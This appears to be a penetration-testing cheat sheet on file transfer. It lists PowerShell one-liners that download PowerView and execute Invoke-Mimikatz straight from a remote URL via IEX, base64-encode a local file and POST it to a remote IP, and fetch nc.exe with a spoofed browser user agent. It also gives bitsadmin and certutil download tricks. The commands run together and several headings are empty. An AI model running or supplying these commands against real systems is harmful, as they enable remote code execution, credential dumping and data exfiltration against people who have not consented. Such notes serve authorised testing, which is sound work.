File Transfer
PowerShell Commands
Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"$bytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.txt") $b64 = [System.Convert]::ToBase64String($bytes) Invoke-WebRequest -Uri http://10.10.10.32/upload -Method POST -Body $b64
Windows Native Tools
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.execertutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe
Linux-Based Tools
Other Methods
Extra Tips
Last updated